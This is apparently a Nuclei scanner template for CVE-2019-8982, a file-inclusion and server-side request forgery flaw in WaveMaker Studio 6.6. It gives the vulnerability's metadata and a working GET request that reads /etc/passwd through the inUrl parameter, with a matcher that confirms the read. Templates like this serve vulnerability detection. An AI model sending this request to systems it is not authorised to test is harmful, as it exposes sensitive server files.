id: CVE-2019-8982

info:
  name: Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery
  author: madrobot
  severity: critical
  description: "WaveMaker Studio 6.6 mishandles the studioService.download?method=getContent&inUrl= value in com/wavemaker/studio/StudioService.java, leading to disclosure of local files and server-side request forgery."
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive files and potential server-side request forgery attacks.
  remediation: |
    Apply the latest security patches and updates provided by Wavemaker Studio to mitigate these vulnerabilities.
  reference:
    - https://www.exploit-db.com/exploits/45158
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8982
    - https://github.com/merlinepedra25/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2019-8982
    cwe-id: CWE-918
    epss-score: 0.87419
    epss-percentile: 0.99472
    cpe: cpe:2.3:a:wavemaker:wavemarker_studio:6.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavemaker
    product: wavemarker_studio
  tags: cve,cve2019,wavemaker,lfi,ssrf,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008d566b226eee509ed50758bdf4ac09c8b6821f897ee151c60ed840cb80883c75022076cd88244895fbbbe6dbbfb9e46aa7c824e834051ee4559de278058688a70002:922c64590222798bb761d5b6d8e72950